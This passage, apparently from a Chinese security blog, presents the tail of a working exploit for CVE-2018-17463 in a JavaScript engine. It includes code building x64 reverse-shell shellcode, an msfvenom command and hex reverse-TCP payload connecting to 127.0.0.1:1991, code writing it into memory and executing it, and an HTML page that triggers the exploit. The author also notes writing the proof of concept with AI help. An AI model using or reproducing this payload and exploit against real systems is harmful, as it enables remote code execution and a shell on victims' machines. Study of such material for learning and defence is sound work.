    // sockaddr.sin_addr = ip
    
    let sock_data_high = 0x0002n | (BigInt(portWord) << 16n);  // family + port
    let sock_data_low = BigInt(ipDword);                        // IP address
    
    console.log(`    sockaddr high: 0x${sock_data_high.toString(16)}`);
    console.log(`    sockaddr low: 0x${sock_data_low.toString(16)}`);
    
    // socket(2, 1, 0) - 创建TCP socket
    shellcode.push(0x5e6a5f016a5f026an);  // push 0x2; pop rdi; push 0x1; pop rsi; push 0x6; pop rax
    shellcode.push(0x0002050f58050f99n);  // cdq; syscall; xchg rdi,rax; syscall
    
    // 准备 sockaddr_in 结构
    shellcode.push(0x0000000000000000n);  // push 0 (padding)
    shellcode.push(sock_data_low);         // push IP
    shellcode.push(sock_data_high << 32n); // push port+family
    
    // connect(sock, &sockaddr, 16)
    shellcode.push(0x5e545f106a2a6a00n);  // push 0x2a; pop rax; push 0x10; pop rdx; push rsp; pop rsi
    shellcode.push(0x026a050f00000000n);  // syscall; push 0x2; (dup2 prep)
    
    // dup2 loop (fd 2,1,0)
    shellcode.push(0x050f5e01485f0000n);  // pop rdi; dec rdi; pop rsi; syscall
    shellcode.push(0x050f5e014875f600n);  // jne loop; dec rdi; pop rsi; syscall
    
    // execve("/bin/sh", NULL, NULL)  
    shellcode.push(0x68732f6e69622f48n);  // movabs rax, '/bin/sh'
    shellcode.push(0x5f545299526a5000n);  // push rax; xor rdx,rdx; push rdx; push rsp; pop rdi
    shellcode.push(0x583b6a5e54050f00n);  // syscall; push rsp; pop rsi; push 0x3b; pop rax; syscall
    
    return shellcode;
}
// let shellcode=generateReverseShellcode("127.0.0.1",1991)
function hexToBytes(hex) {
    hex = hex.length % 2 ? '0' + hex : hex;
    let bytes = new Uint8Array(hex.length / 2);
    for (let i = 0; i < bytes.length; i++) {
        bytes[i] = parseInt(hex.substr(i*2, 2), 16);
    }
    return bytes;
}
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1991 -f hex
let shellcodeHex = "6a2958996a025f6a015e0f05489748b9020007c77f000001514889e66a105a6a2a580f056a035e48ffce6a21580f0575f66a3b589948bb2f62696e2f736800534889e752574889e60f05";
let shellcodeBytes = hexToBytes(shellcodeHex);
let data_view = new DataView(mem);
// for (let i = 0; i < 3; i++)
//   data_view.setBigUint64(8 * i, shellcode[i], true);
for (let i = 0; i < shellcodeBytes.length; i++) {
    data_view.setUint8(i, shellcodeBytes[i]);
}
print("[+] GetShell");
f();

用于触发的html页面

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Exploit Test</title>
</head>
<body>
    <h1>Running exploit...</h1>
    <script src="cve201817463.js"></script>
</body>
</html>

这一次是我在没看原始poc的情况下自己利用AI写的任意读写实现的poc(ps:ai肯定读过原始poc),感觉体验真的蛮不一样的,之前看别人的poc有时候自己也跑不起来,有时候看到太长跑起来就觉得懂意思了实际细节点很多的,这次自己去感受发现确实有遇到很多问题,特别是有些固有直觉的错误和一些大模型幻觉导致的难以debug出的问题,比如同一个obj是否相同布局方式,不完全是。

相关推荐
ZHOU_WUYI3 小时前
构建AI安全防线:基于越狱检测的智能客服守护系统
人工智能·安全
萧鼎4 小时前
深入理解 Python `ssl` 库:安全通信的基石
python·安全·ssl
SteveRocket5 小时前
【产品篇】网络安全运营建设 相关工具
安全·web安全·www.mdrsec.com·cto plus技术服务栈
weixin_446260855 小时前
全新体验:利用Istio提升微服务安全与监控
安全·微服务·istio
alex1005 小时前
跨会话泄露:AI时代下的安全挑战与防御策略
网络·人工智能·安全
十年小站6 小时前
漏扫常见问题——口令类
安全
还是奇怪6 小时前
SQL注入的“无影脚”:详解空格绕过WAF的N种方法
数据库·sql·安全·web安全
盟接之桥9 小时前
盟接之桥说制造:源头制胜,降本增效:从“盟接之桥”看供应链成本控制的底层逻辑
大数据·网络·人工智能·安全·制造
RFID舜识物联网9 小时前
NFC技术如何破解电子制造领域的效率瓶颈与追溯难题
大数据·人工智能·嵌入式硬件·物联网·安全·制造